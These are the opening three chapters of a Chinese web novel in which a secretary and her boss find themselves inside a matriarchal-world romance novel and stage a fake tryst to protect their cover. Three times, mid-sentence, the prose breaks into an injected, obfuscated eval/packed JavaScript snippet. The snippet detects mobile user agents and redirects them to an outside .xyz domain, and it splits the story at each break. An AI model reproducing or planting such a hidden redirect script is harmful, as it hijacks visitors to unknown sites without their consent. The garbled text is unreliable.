《和老板穿越到女尊世界》 1. 第1章 ‘噼里啪啦’一道惊雷闪过。 言昭离被雷劈了。 好消息,她还活着,坏消息,她穿到一个陌生的国度。 “皇女,祁公子已经在偏房等候多时了。” 身边的大丫鬟翠鸣提醒道。 言昭离仍兀自坐在床上,木着眼睛:“我现在头有些晕,坐着缓缓。” 她单手扶额,实际是在悄悄的打量着四周。 屋内的布局极为对称,且装置精致,鼻息间流淌着一股暗香,是地上放置的鎏金莲花香炉散发出来的,屋内的一切布置,彰显着屋主人身份的尊贵。 再根据丫鬟对自己的称呼,电火雷鸣间,言昭离脑海里闪过一个不可置信的想法,她不会是穿书了吧?! 她平常不爱看小说,但闺蜜喜欢看,好巧不巧,在雷劈之前,闺蜜才跟她吐槽过一本小说。 时间过去的不久,她脑子里还有大致情节。 言昭离有意试探:“祁逾白喂了药没?” 翠鸣摇头:“没有,皇女吩咐过不能喂药,底下的人自然不敢喂。” 很好,确认完毕,她真的穿书了。 《卿卿入君心》是一本女尊言情小说,女主言柳,言国六皇女,自小不受宠爱,但本性善良,一次偶然,结识了性格同样单纯的镇国将军独子霍承起,两人相互吸引,彼此爱恋,最后经历了九九八十一重的虐身又虐心的剧情后,就……没有然后了。 作者弃坑了,写到女主成为皇帝,男主成为凤后,这看似圆满的结局,还有一大堆误会没有消解。 感情线崩了,作者最开始打包票的he圆不回来,只能跑路。 这也是让闺蜜吐槽的最大原因。 全书可分为两部分,前部分权谋较多,掺杂着男女主一些暗搓搓的小心动,后部分感情线为主。 至于言昭离,穿的是同名同姓的恶毒女配身上,言国大皇女,自小受尽宠爱,性格跋扈,嚣张。 是女主成为皇帝的垫脚石,也是男女主感情升温的脚踏石。 作为一个促进剧情的恶毒配角,她最后的下场,可谓是凄惨啊。 五马分尸,死后被挫骨扬灰,连一个完整的尸体都没留下。 闺蜜说起这个恶毒女配时,还提醒她一下:“离离,这本小说里的恶毒女配,与你同名同姓,根据我这么多年的看书经验,建议你全篇背诵,早做准备。” 当时的她嗤之以鼻,现在的她,只想回去,摇着闺蜜的肩膀,大喊道:“闺闺,料事如神啊。” 可惜现在没有后悔药吃,她现在只能走一步看一步。 在还未确定下一步方向时,只能先遵循人设。 休息好了,言昭离跟着下人来到一个偏房,原身并不好美色,但偏偏在大街上对祁逾白惊鸿一瞥,不顾劝阻,强行掳走。 房门被推开,床上躺着的男子惊吓出声:“谁?” 他双手被绑置身后,背对着言昭离,此时听到开门的动静,挣扎着往后转。 等到转过身,言昭离才知什么是人间绝色。 祁逾白五官生的极好,挺拔的鼻梁,薄薄的嘴唇,面上美玉无瑕,脸庞如刀削斧般,完美的不可挑剔。 身着殷红缕金云纹的蜀锦衣袍,这极挑人的颜色,穿在他身上也正到好,更衬得皮肤白皙。 衣袍因为刚才的挣扎,早已宽宽垮垮的不成样子,露出修长的脖颈,再往下,是精致的锁骨…… 只是,言昭离对上他的视线,纳闷的想着,这人,怎么跟他老板长得那么一模一样? 只是,老板的眉眼间要更硬气些,躺在床上的男人,眉眼间带着一股娇意,说是媚眼如丝都不为过。 闺蜜说这本小说,同名同姓的不止言昭离,还有她的老板,祁逾白。 那时闺蜜给出的解释是,因为他们两个的名字很好听,就像小说男女主的名字一样,撞名再正常不过。 毕竟,谁的主角名叫张三李四。 言昭离身边的下人在她进入这间屋子后就自觉的退了下去,毕竟刚才看到大皇女推门急切的模样,都知道现在肯定不能杵在这碍眼。 退避三舍,安静的在外等候。 “美人生的可真貌美,本皇女问你,可愿意从了本皇女。” 祁逾白是被强取豪夺来的,肯定不愿被夺了清白,只要他说出不愿意这三个字,言昭离就会立马装作恼羞成怒,拂袖而去,再让下人送回去。 在不崩了人设的情况下,还能解决不能描述的事情。 她可真是个机灵鬼。 只是,预想到的画面没有产生,祁逾白没有回话,只是沉沉盯着她着她,把言昭离盯得后背发凉。 总感觉有什么不好的事情即将发生。 房间里安静的有些过分,甚至只能听到彼此的呼吸声。 言昭离有些急切,快步上前,挑起祁逾白的下巴,“美人,不说话,本皇女就当你同意了。” “待会可要好好伺候本皇女就寝。” “伺候不好,本皇女就罚你……” “罚我什么?”祁逾白长没说话,声音有些沙哑。 “什……什么?” 祁逾白抬眸,明明是正常的语气,言昭离偏偏听出几分风雨欲来的感觉:“言秘书最近似乎胆子大了不少啊!” 言昭离愣在原地,脑子里一直回旋着这几个字‘言秘书’‘胆子大’。 这声音,这语调,这语气,不就是她那个冷酷无情的顶头上司。 她顿时脸上露出欲哭无泪的表情,给她八百个胆,她也不敢调戏老板啊,更何况还要老板伺候。 想起刚才的胆大妄为语录,她都不敢直视祁逾白的眼睛。 不过,作为金牌秘书,见识过大风大浪,怎么可能被区区几个尴尬场面吓到。 她开始倒打一耙,哭唧唧道:“老板,在这里,遇见你,真是太好了。” “你是不知道,我一个人穿到这里,有多凄惨,孤独。” “有了老板在这,顿时有了主心骨,干什么都不怕了。” “老板如此英明神武,聪明非凡,一定会在这混的风生水起的。” “说不定还能在这找到回到现代的方法。” 演戏演上头了,她开始努力从眼上挤出几滴眼泪出来,可偏偏,越着急越挤不出来。 只能在那干嚎。 嚎着嚎着,就噤声了,因为祁逾白正似笑非笑的看着她。 “今天又认识了不一样的言秘书。” 言昭离从大学毕业,就到了他身边当秘书,平常都是公事公办,严肃端正,鲜少有这么活泼的时候。 祁逾白一直都以为言昭离就是这么一个严肃的性子。 要是言昭离知道他的想法,只会翻了个白眼,废话,你上班的时候,面对上司,会嘻嘻哈哈的吗? 老板坚决不能和日常生活挂钩,否则那只会是一场史无前例的灾难。 被祁逾白戳穿,言昭离只能尬笑两声,然后眼尖的瞥到了他手上的绳子,献殷勤的时候到了。 “老板,我来给你解绑。” “不用。” 祁逾白手一用劲,就摆脱了桎梏?,不过被绑得有些久了,手腕上有些擦红。 他穿过来的时候,除了最开始的慌张,现在已经快速冷静了下来。 刚才努力的给自己解绑,眼看马上就自由了,外面传来脚步声。 他只能又伪装成原样。 祁逾白站起身,活动下手脚,被绑的时间有些久了,手和脚都酸痛不少,接着,他问:“怎么回事?” 七年的相处经验,让言昭离明白,祁逾白这是要她说出自己所掌握的信息。 她立马转变成陈述报告的语气:“我才穿来不久,只知道这是穿书,一个女尊世界……” 她花了两分钟,简单概括了这本小说的主要内容和她的身份。 “你是言国大皇女,那我是谁?” 言昭离瞥了他一眼,迅速说道:“您的身份是青楼花魁,典型的恶毒男配,也是后期男女主感情路上的添堵石,后期做的事……” 说起小说里恶毒男配所做的事情,言昭离可谓是滔滔不绝,她对这个恶毒女配做的事,都倒不一定记那么清,只因她当时对这个跟老板同名同姓的恶毒男配很感兴趣。 老板虽然长得帅,但他难伺候,老板虽然给的多,但没人喜欢加班,老板…… 总之,言昭离对祁逾白,是‘又爱又恨’。 在闺蜜的描述中,跟现实里完全不一样的老板,阿Q的精神胜利法,在她身上得到了诠释。 言昭离正要详细开展描述,祁逾白抬手一个停止的动作,指了指门外。 老格门的空格间隙处是糊的纸,轻轻薄薄的,阳光清晰的将人影照射在门上。 翠鸣小心翼翼的贴紧门缝,听不到一点声响,是事情不顺利还是…… 要是皇女出事了,他们这群下人,性命自然保不住。 她心里慌张,大着胆子问道:“皇女,是否要叫水。” 祁逾白声音很低:“先维持人设。” “不用。”言昭离冲着外面喊道,“别扰了本皇女的兴致。” 翠鸣等人悄无声息的退下。 时间长了,叫人发觉了,自然不行。 “看来只能做戏了。”言昭离轻叹一声,眼神又偷偷瞥向祁逾白。 “咳咳,那个,老板,你是被我霸王引上弓的,所以,你得出声。” 祁逾白额头上划过黑线:“我该说些什么?” “什么不要了,求你饶了我,不要……” “还得伴随着衣服撕破的声音。” “其他的,交给我。” 对于言昭离的办事能力,祁逾白还是很放心的。 很快,他一一照做,扯着嗓子喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567733|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“不要,求你放过我……” 接着,撕开——,衣服纹丝不动,祁逾白使出吃奶的劲,衣服也只破开了一口子。 女尊文设定,男子的力气比女子的力气小,他刚才解开绳子就花费了一大半力气,现在自然撕不开这衣服。 言昭离看不下去了,上手帮他撕开,‘刺啦’一声,祁逾白的衣服岔开到腰,露出饱满的八块腹肌。 言昭离不动声色的一开视线,咳,怎么说,老板穿的这具身子,身材还怪好的。 “小美人,放过你,怎么可能。” 她放肆大笑,拂开桌上的茶水,陶瓷破碎的声音在屋里响起,伴随着一些‘吱嘎吱嘎’的木质声音。 声音久久不能停息。 屋外的侍从眼观眼鼻观心,羞愧的不敢抬头。 这也,太激烈了些吧。 一个时辰过去,屋里的声音才停了下来,房门打开,言昭离快步走了出来,对着翠鸣吩咐道:“安排几个人去伺候。” “一定要照顾好。” “是。”翠鸣头低的很低,她刚才无意间看到,在皇女的脖颈处,有极其暧昧的抓痕和红点。 “沐浴。” 一众人跟着言昭离离开,翠鸣走的晚些,她留下来,点了三个侍从照顾祁逾白。 屋里,狼藉一片,祁逾白的身形被帐幔遮掩,若影若现的。 他伸出手,指着前面一片:“把这里收拾好,不要过来。” 有眼尖的侍从看到,祁逾白的手腕处,清晰可见的红色抓痕。 手上都是这样,那身上还指不定成什么样。 大皇女真不是个疼人的。 流言蜚语就这样传了出去,一些原本属意言昭离的世家公子,迅速转换了方向。 不过这些,言昭离自然不知道。 她泡在热腾腾的温泉里,只觉一身疲惫都一扫而空,脑子思索着接下来的路。 祁逾白给出的建议是,维持人设,不让人发觉异样。 要是让人发觉了异样,指不定会被人当成妖怪处置的。 至于原剧情里的作妖,自然不能干,每一次作妖,都离死亡更近一步。 穿回去的办法不知道,还是先苟活着比较好,毕竟谁知道在这个地方死了之后会去哪。 沐浴完,很快到了晚膳的时间,言昭离作为金牌秘书,自然要全方位保护着老板。 包括老板的胃。 “把祁逾白叫过来,陪我用膳。” “是。”翠鸣应后,退了下去。 作为最受宠的皇女,言昭离的生活可谓奢侈至极,衣食住行,无不精致,尽管言昭离晚上吃的不多,但桌上仍然摆满了饭菜,她粗略的数了一下,总共有二十六道菜。 快赶得上皇帝的用膳规模了。 祁逾白住的偏房,就在附近,不一会,祁逾白就到了。 他见到言昭离,脸上似有不情愿,但还是乖乖的行礼。 “见过大皇女。” 言昭离指了指身侧的位置:“坐。” 后又弗袖,让伺候的人退下。 等人下去后,言昭离挺直的身子,‘啪’的一下倒了下来,金尊玉贵的贵族,时刻得端着,可真累。 祁逾白收起脸上的怯意,折腾那么久,肚子早就饿了,他拿着筷子,哪怕饿急了,动作也是不缓不慢,行云流水般,用起餐来。 两人继续刚才的交谈。 祁逾白说:“我们要活到大结局,除了维持人设,还要帮扶女主,让她成功登上皇位。” “嗯嗯。”言昭离埋头苦吃。 心里想着:饭菜真好吃……这鱼肉入口即化……这谁做的……一定要好好的嘉奖厨子…… “我们的目标是——” “回到现代。” “那我这具身子的性格是怎么样的?” 言昭离想了想:“上进且有野心?” 趋炎附势,攀附高贵,这次被大皇女强取豪夺,就是故意设计的。 在大皇女失势后,又攀上另一个权贵。 算了算,他在整本书里跟五个人,不包括女主,都有关系。 “茶香四溢?” 两面三刀,后期进了女主的后宫,表面娇娇弱弱的,实则刀起人来快准狠,男主都在他手上吃了好几次亏。 “温柔的解语花。” 实际是吃起人来根本不吐骨头的霸王花。 “还有——” “行了,不用再说了。”祁逾白止住,本来想维持原身的人设的,现在听来,根本不需要。 反正原身的性子不被众人所知,就算崩了人设也没关系。 “从现在起,我的人设就是大皇女的小娇夫。” “凡事都需要你的保护就行。” 言昭离眨了眨眼睛:“放心,老板,包在我的身上。” “我办事,你放心。” 2. 第2章 言昭离吃完,看了一眼祁逾白,他拿着勺子,在粥里一下又一下的搅动着。 一看就是吃饱了,那好,开始做戏了。 ‘啪“的一下,言昭离猛拍桌子,这动静不小,把祁逾白都吓得身体猛的一颤。 “本皇女觉得你还真是不知好歹,从了本皇女不好吗?” “来人。” 翠鸣等人鱼贯而进。 只听他们的主子冷冷说道:“从今天起,祁逾白与我同吃同住。” 他们瞪大了双眼,这显然不符合规矩,可看大皇女的言行,似是非要得到这祁逾白的心。 劝阻也无从说出口,大皇女一向骄傲,不允许任何人反驳她。 只能在大皇女没厌弃祁逾白之前,将他当成半个主子看待。 就这样,言昭离十分宠爱新宠的消息传了出去,有人看热闹,有人松了一口气。 这消息自然传进了宫里。 御书房,言武帝随手从一沓奏折中挑了一本,看了几秒,随手撂至案桌上。 “不看了,头疼,看了半天,都是同样的内容。” “春秋,你给朕揉揉。” “是。” 春秋上前,手法轻柔的给言武帝按摩太阳穴。 “陛下无论如何都要顾好自己的身体。” 言武帝叹了一口气:“朕倒是想什么都不管,可大皇女是我和他唯一的女儿。” 言武帝和已逝凤后,也就是言昭离的父君,是青梅竹马,两人从小一起长大,后来凤后因病去世,成为了皇帝心中的那抹痛。 “大皇女被朕宠的性子娇纵,做事完全不考虑后果,成为了很多人中的眼中钉。” 言武帝问:“春秋,你认为,朕会把这个位置交给大皇女吗?” 春秋立马下跪,坚定道:“奴婢不敢妄自揣测。” “起来吧,朕只是随便问问,朕还未昏庸到那种地步。” 想起记忆中的那个人,言武帝低声说道:“朕只想保大皇女一世顺遂。” 这也是他最大的心愿。 “听说大皇女今日当街抢了一个男子。” “是。”春秋三言两语讲起了手下传上来的情报。 这情报是言武帝养的情报局收集的。 皇帝不能只高坐在高堂上,要知万物,观万事。 言武帝皱眉:“这男子还害昭昭受伤了,真是个不会伺候人的。” “去,挑一个尽心的叟叟教教规矩。” “明早再把大皇女召进宫来。” * 此时的言昭离,在跟祁逾白大眼瞪小眼。 “为何要在饭桌上说那句话?” 言昭离咳嗽一声,义正言辞道:“当然是为了更好的保护你呀,老板。” 她发誓,在用膳时讲的那句话,除了一点点自己的小小报复之外,就只是为了更好的保护老板。 小说里的颜色描写,除了男女主的戏,剩下的大多是这个恶毒男配贡献的。 恶毒男配过于美丽,容易招致一些人的觊觎,除了大皇女,后面有的是大把人对他强取豪夺,什么郡主,将军…… 可能是为了从这些剧情中衬托出男二的美丽,为后面女主拒绝男二做铺垫,同时显露出女主对男主的深情。 为了保卫老板的清白,言昭离只能豁出去了。 只是,没预料到现在的局面。 为了不被人看出破绽,他们只能同床共枕。 好在,两人都是看得开的。 只是纯睡觉的上下级关系而已。 祁逾白不断地在心里安慰自己,只是这样,只是这样…… 不知是到了新环境的不适,还是其他原因,祁逾白迟迟不能入睡。 这是他第一次跟别人一起躺在一张床上。 身旁已经传来平缓的呼吸声,甚至祁逾白一个翻身,还能感受到另一个人的体温。 言昭离跟了他七年,一直是个尽职尽责的秘书。 他以为,她的性格一直都是端庄,冷静,可在这个世界接触的几个瞬间,发现似乎有误。 但无论如何,他依旧庆幸,在陌生的时代,遇到了言昭离。 * 言昭离睡得正香,迷迷糊糊间听到有人在叫自己。 “大皇女,大皇女,该醒来了,不能再睡下去了。” “大皇女——” 大清早的跟叫魂的一样。 言昭离将眼睛睁开了一条缝,发现外面的天都还未全亮起来,她迷迷糊糊的想着,这还没到上班时间…… “大皇女,陛下召见。” 她猛的睁开双眼,意识回笼,皇帝要见她,是为何事? 祁逾白也因为这句话从睡梦中醒了过来,说:“见机行事。” 一直等收拾后,言昭离都在仔细的琢磨如何维持好人设,皇帝可不是个傻的,一旦被发觉不是原主,后果不敢多想。 言国的皇宫,跟现代的皇宫很相似,红墙高瓦,窄窄的一方天地,就能困住人的一生。 言昭离脑子里想了很多电视剧拍的古代皇族权威,可一到地方,发现完全不一样。 “昭昭,快来,朕吩咐御膳房给你做的芙蓉玉露。” 言武帝招呼着言昭离坐下,又絮絮叨叨说了很多,都是关心言昭离的话。 言昭离捧着碗,垂眸看着碗里的芙蓉玉露,这东西,跟现代的双皮奶很像,表面□□弹弹的,放了些红豆点缀,最适合夏日解暑。 言武帝呢,也不像一个高高在上皇帝,反而像是一个普通人的母亲,这让从小到大未感受到母爱的言昭离,有了一个念头。 或许,可以试试与言武帝正常母女间相处。 言武帝说了许多,这才步入正题:“昭昭,朕听说你最近宠幸了一个男人。” 言昭离放下碗,回味着舌尖的甜意:“是,母皇,他叫祁逾白。” “那你是怎么想的?” 言武帝认为,昭昭是言国大皇女,身份尊贵,断不可能娶一个身份低贱的人为夫。 “没想什么,或许只是一时兴起。”言昭离随便答道,她不能在言武帝面前表现对祁逾白的重视,万一言武帝认为祁逾白有心勾引,那老板的命不就不保了吗? “一时兴起?”言武帝的心都提了起来,想到的却是另一件事,昭昭不会还放不下霍承起吧。 霍承起是镇国大将军的独子,镇国大将军长年累月的在边疆镇守,言武帝念她劳苦功高,特地赐了她一道空白圣旨。 可允她万物万事,只要是言武帝给的起。 镇国大将军什么都没要,就求一事,允她独子婚嫁自由。 昭昭自从前年见到霍承起后,就对其一见钟情,死缠烂打一年了,什么手段都使过了,求言武帝赐婚,这个不行,言武帝不能出尔反尔,下药,美救英雄…… 不仅没有推动关系的发展,还招致霍承起的厌恶。 “母皇,我现在已经放下霍承起了,不会再缠着他了。” “真的?”言武帝明显不信。 “真的,”言昭离做出发誓的举动,“我发誓,真死心了。” 她把头靠在言武帝的肩上:“我现在只想好好陪着母皇。” 言武帝用食指刮了一下她的鼻子:“油嘴滑舌的。” “那个叫祁逾白的,朕觉着他伺候不好昭昭,已经找人去教他规矩去了” 言昭离瞪大双眼:“什……什么规矩。” “当然是伺候人的规矩。” “等他学完规矩,再把人抬成小郎也不迟。” 小郎,也就是妾室。 言昭离露出一个要笑不笑的表情,教老板规矩,这画面太美,可真不敢想象。 “谢谢母皇,母皇对儿臣可真好。” “你是我的长女,朕不对你好,对谁好?” “昭昭,你如今快十八,该进入朝堂了。” “啊?”话题跳转的太快,言昭离一时没反应过来。 皇女十六岁后,便可进入朝堂处理事务,但原主懒惰,不喜朝堂事务,一直拖到现在。 她想了想,原剧情里,恶毒女配进入过朝堂吗? 好像是比这个时间段晚些,难道是蝴蝶效应。 答应言武帝进入朝堂后,言昭离就起身告辞了,她实在担心远在家中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567734|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的老板,脑子里满是他被叟叟痛苦折磨的画面。 什么让他头顶花盆,手拿戒尺矫正他的走路姿势,老板做的不好,被罚在阳光下暴晒。 不行不行,不能想这些。 她还是尽早赶回去比较好。 * 尽管言昭离一路都没停歇,但还是过了一个上午才回到府上。 已满十五的皇女,除了可以进入朝堂,还可以拥有自己的府邸,封王,则需要有功绩。 一进院子,想象中老板烈日暴晒的画面并没有出现,相反,祁逾白正襟危坐在椅子上,斜上方坐的是一个中年男子。 这是皇帝派来的叟叟。 跟现代古装剧里的嬷嬷差不多,他们只教宫里的贵人如何伺候皇上。 叟叟一见到言昭离,立马起身行礼:“奴见过大皇女。” 祁逾白跟着起身,半躬着身子,露出清瘦的身形,垂眸:“奴见过妻主。” 他特意捏起来的声音,像是一只百灵鸟一样,婉转动听,言昭离一时被惊住了。 怎么半天不见,老板不止声音变了,连举止动作都变了。 怎么说呢?好像举止间都变得风情万种起来,不对,风情万种也不能形容记忆中那个冷硬的老板。 应该是一举一动都变得有吸引力起来。 叟叟看着言昭离的反应,满意的点了点头,他只教了祁逾白一上午,这就用上了勾引人的法子,可真是孺子可教啊。 除去他的出身,这个悟性,在他教过的贵人中,也算得上上上乘。 “奴还要赶回去复命,就不在大皇女这多停留了,” “辛苦叟叟跑这一趟了,翠鸣,给叟叟在路上备些茶水。” “不不不,这可使不得。” 茶水,自然是些金银珠宝之类的。 “如何使不得,他愚钝,劳烦叟叟教导了。” “奴在此谢过大皇女。” 叟叟脸上的笑容变得更加的灿烂,只觉得这一趟差事真爽快,教出一个天赋极高的,又得了大皇女的赏。 心情好了,也越发想发个善心,他走过祁逾白身边,特地低着声说了句:“把大皇女伺候好了,往后的荣华富贵少不了。” “是。” 待人走后,言昭离急忙让下人退下。 “老板,没事吧?” “没事。” 言昭离悬着的心放了下来,祁逾白的能力还是挺让人信服的,毕竟也是从生意场上厮杀出来的。 “不过,老板,他教了些什么规矩?” 言昭离环顾了四周:“我看也没有像电视剧一样教人规矩啊。” 连花盆,戒尺都没有。 祁逾白面色有一瞬变得不正常起来,轻咳了一声:“你不会想知道的。” “什么啊?”言昭离被勾起了好奇心。 女尊世界中教给男人的规矩到底是什么样的。 祁逾白眼神瞥向别处,选了一个委婉的说法:“房中术。” 其实说是房中术都不算很笼统,叟叟教的,更为露骨,如何取悦女子,让女子…… 可偏偏,祁逾白是醉仙坊出来的花魁,尽管卖艺不卖身,但对于这些,多少还是要表现出懂得的。 面无表情的听着,实际内里熟透了,都快在头上丝丝冒着热气。 言昭离也咳嗽了一声,移开视线,嘴里念叨着:“哎,赶回来太着急,有些口渴。” “水呢,我找水喝。” 人总会在尴尬的时候找事情干。 言昭离‘咕噜咕噜’的喝着水,为了转移话题,讲起了在皇宫里发生的一切。 祁逾白分析起来:“目前看来,有一件对我们都有利的事,就是皇帝的宠爱,可这也是最大的不利。” “物极必反,这也会让我们也会成为很多人中的眼中钉。” 言昭离出声:“包括女主。” “对。” “女主既然能登上皇位,心思必不可能单纯,至少没有原书里表现出来的单纯。” “下一个剧情就是赏荷宴,男女主感情的一大发展,也是试探女主态度的最好时机。” 3. 第3章 言昭离第二日天还未亮就起了,因为要上早朝。 她醒来时,怨恨的瞪了一眼祁逾白,怎么可以有人在她辛辛苦苦去上班时睡得那么香。 “皇女,可要祁小郎伺候。”翠鸣问道。 “不用,让他睡吧。” 言昭离不平衡的心情在看到祁逾白那张脸,就自个消下去了。 罢了,颜之有理。 言昭离上早朝的没几天后,皇贵俞就开了一场赏荷宴。 这是言国的传统了,荷花在七八月开得最甚,也最有观赏价值。 未时不到,就有一批又一批的王亲贵族来赴宴。 霍承起跟在自家父君后面,内心揣测不安。 上次大皇女对他下药,想要生米煮成熟饭,一旦事成,他为了名声,都不得不嫁给大皇女。 可他不愿,大皇女性子恶毒,绝非良配。 他摆脱捆缚,硬生生在寒潭里泡了一夜,生了场大病,修养了大半年才好。 霍父君安慰他:“小起,今日且放宽心,我打听过了,大皇女最近新纳了一个小郎,如今正上心,说不定不会再纠缠上你。” “如此最好。” 霍承起在心里想着,无论如何,他今日都会求陛下赐婚,这样才是从根源上断了大皇女的心。 想起大皇女,霍承起的心里就犯恶心。 嫁给谁,都比大皇女好。 这场赏荷宴,说是赏荷,其实是一种变相的相亲。 尤其是给适龄的皇女们挑选合适的侍郎。 言国皇帝总共有六个子女,四皇子早逝,六皇女言柳还未到年纪。 大皇女言昭离,二皇女言落依,三皇子言时,五皇女言笛梵都已经到了适配的年纪。 “起起,身子好全了吗?” 霍承起一来,就找好友聊天去了。 好友姜邬是尚书令的次子,性格开朗活泼,与内敛含蓄的霍承起很是能玩到一块去。 “好全了。” “那就好,你之前生病的那段时间,我还担心了好久。” 大皇女下药,只有霍承起知道,其他人只以为他是生病休养。 “抱歉,害你担心了。” “没事,谁让你是我的好友。” 这句话,让霍承起散去脸上的阴霾,心情放松了起来。 姜邬悄悄咪咪的开始讲起八卦:“起起,你可有属意的妻主?” “属意的?”霍承起的脑中闪现出一个模糊的身影。 “反正我是没有,这场宴会,摆明了是给大皇女二皇女找侍郎的。” “二皇女多流风情,房中已有十几个小郎,且是醉仙馆的常客。” “大皇女性格跋扈,肆意嚣张,最近十分宠爱一个小郎,听说是醉仙馆的花魁,而且最最最重要的是,不是个疼人的,每次事后,那小郎身上都是伤痕累累的。” “三皇女性子倒是个好的,可惜侍郎的位置已经有了合适的人选,听说是皇贵俞的侄子,如果是真的,这也算得上是亲上加亲。” “总之,这三位皇女,都不是合适咱们的良配,今天咱们就走个过场就好。” 霍承起瞪大了双眼,脸颊微红:“大皇女的这种事都能打听到。” 姜邬笑道:“只要有钱,没有打听不来的事。” “且这些事,言国谁人不知,就大皇女和新宠小郎的故事,已经改编成好几个话本子流传于坊间。” “什么《霸道皇女狠狠爱:美艳花魁哪里跑》《皇女大人:夫人已经第99次出逃》《我与大皇女不得不说的风流往事》……” 两人窃窃私谈着,入口,有人通报:“大皇女、二皇女到。” 众人的目光聚向门口,那里有两道身影,一个明眸皓齿?,一个风流倜傥。 在言国皇帝的子女中,容貌最甚的,当属大皇女,明艳的五官,轮廓分明的鹅蛋脸,眼睛深邃明亮,似是缀满了完全星辰。 嘴角含笑,如此明艳,热烈,仿佛任何事物都夺不去她的光彩。 众人的心中不由得恍惚,好几日没见,大皇女似乎出落得比以前更加不可方物。 以前美则美,可总是显得空灵,现在则是像一个精致的娃娃,被注入了生机和活力。 言落依撑开扇子,挡住下半张脸:“皇姐,今日好风采,全场目光都被吸引住了,让皇妹我,心里落差好大。” 她撅起嘴,装作要哭的表情。 “好了好了,再装下去,皇姐可真要被你骗过去了。” 言落依继续嬉皮笑脸起来,跟言昭离打趣:“皇姐~” 小说里,二皇女言落依性子洒脱,只爱吃喝玩乐,无心帝位,帮过女主,最后当了个闲散王爷。 两人一来,就先去拜见了皇贵俞。 皇贵俞懒散的躺在贵妃榻上,悠闲的吃着侍臣剥开的葡萄。 “见过大皇女、二皇女,臣夫前几日操劳着赏荷宴的事,如今真办起来了,身子垮了,不便行礼,还请见谅。” “皇贵俞身子不舒服,那可要好好修养。” 皇贵俞手撑着额头:“臣夫倒是想,可这心里的事没落实……” 言昭离和言落依同时对视一眼,这是,话中有话。 “实不相瞒,陛下的意思是,大皇女和二皇女已到适龄,皆可成家立业……” 皇贵俞说了一连大串,最后来回就两个意思,让她们自个挑选侍郎,报给皇帝,她就不插手了。 言昭离心里沉思,皇贵俞这是要当个甩手掌柜,他位同副后,盛宠十几年,与皇帝有了三皇子和四皇女,这样一个人,自然不简单。 难道,这场宴会会发生什么?让她急切的把自己摘出去。 言昭离对小说的了解,全部来源于闺蜜的描述,闺蜜自然不可能每一件事都细讲,只详细描述了男女主感情的发展。 这场宴会,她好像提过,男主落水,被女主所救,两人订婚。 可还会发生什么事情? 皇贵俞说到这个份上,两人自然不可能装傻充楞,最后都答应了下来。 宴会进行的如火如荼,一些家世相当,性情相仿的公子,三三五五的聚在一起,聊的都是当下热门的话题,什么哪家公子被求娶了,哪件衣裳售空了,哪家的胭脂水粉好用之类的。 最热门的,当属那位被大皇女宠上天的小郎。 青楼出身,被当街抢走,伤了大皇女,却没被怪罪,还被赏赐一起同吃同住。 这可是正房都没有的待遇。 “而且,早上起身的时候,大皇女从来不让那小郎伺候,只是为了让那小郎多睡会。” “天,那照你们那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567735|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么说,大皇女是个会疼人的,我还真有点想嫁给大皇女。” “不不不,可不要被这些假象所迷惑,大皇女只是个好色之人。” “而且对那小郎不见得有多好,听说事后,那小郎身上青一块紫一块的,连下床走路都艰难。” “同吃同住,恐怕也只是觉得夺不走一个低贱之人的心,恼羞成怒罢了。” “现在说不定,就是一时兴起,究其本心,大皇女只是一个凉薄之人罢了。” “且看那小郎以后的下场会有多惨烈吧。” “哦,我倒不这么觉得。” “你为何会这么认为。”说话的人转过身,循着声音看去。 一身红衣,容貌昳丽,就站在树底下,眼中含笑。 “不巧,我正是你们口中的小郎。” 被当事人听到,一群人的面上都不由自主的露出几分尴尬,有人赶紧转移话题:“你这……衣服怪好看的。” 祁逾白微笑道:“谢谢。” “在聊什么呢?”言昭离从身后探出头。 众人见礼:“见过大皇女。” 祁逾白眼看也要跟着一起行礼,被言昭离连忙扶了起来:“不用不用。” 天哪,要是让老板给她行礼,她保证,明天她会因左脚先迈进公司而被开除。 这一行为,落在众人眼里,就是大皇女十分宠爱祁逾白。 刚才夸衣服的人,则是发现了了一个新的点,大皇女和这小郎身上的衣服是同色系的。 都是浓厚的大红色,这衣服,极衬人的肤色,更显白皙,两人无论从外貌还是气质上来讲,都极为般配。 夸衣服的人一个激动,就忍不住蹦了起来。 现代有一个词,非常能形容出他的心境,磕CP磕上头了。 一群人都站在桥上赏荷花,他这一激动,不小心就踩到了后面人的脚,后面的人像拔萝卜一样,一个接一个的蹦了起来。 你推我,我推你,挤来挤去,不小心就把在后面缩着的霍承起挤到了河里。 “快看,有人落水了。” “快来人啊,有人落水了。” 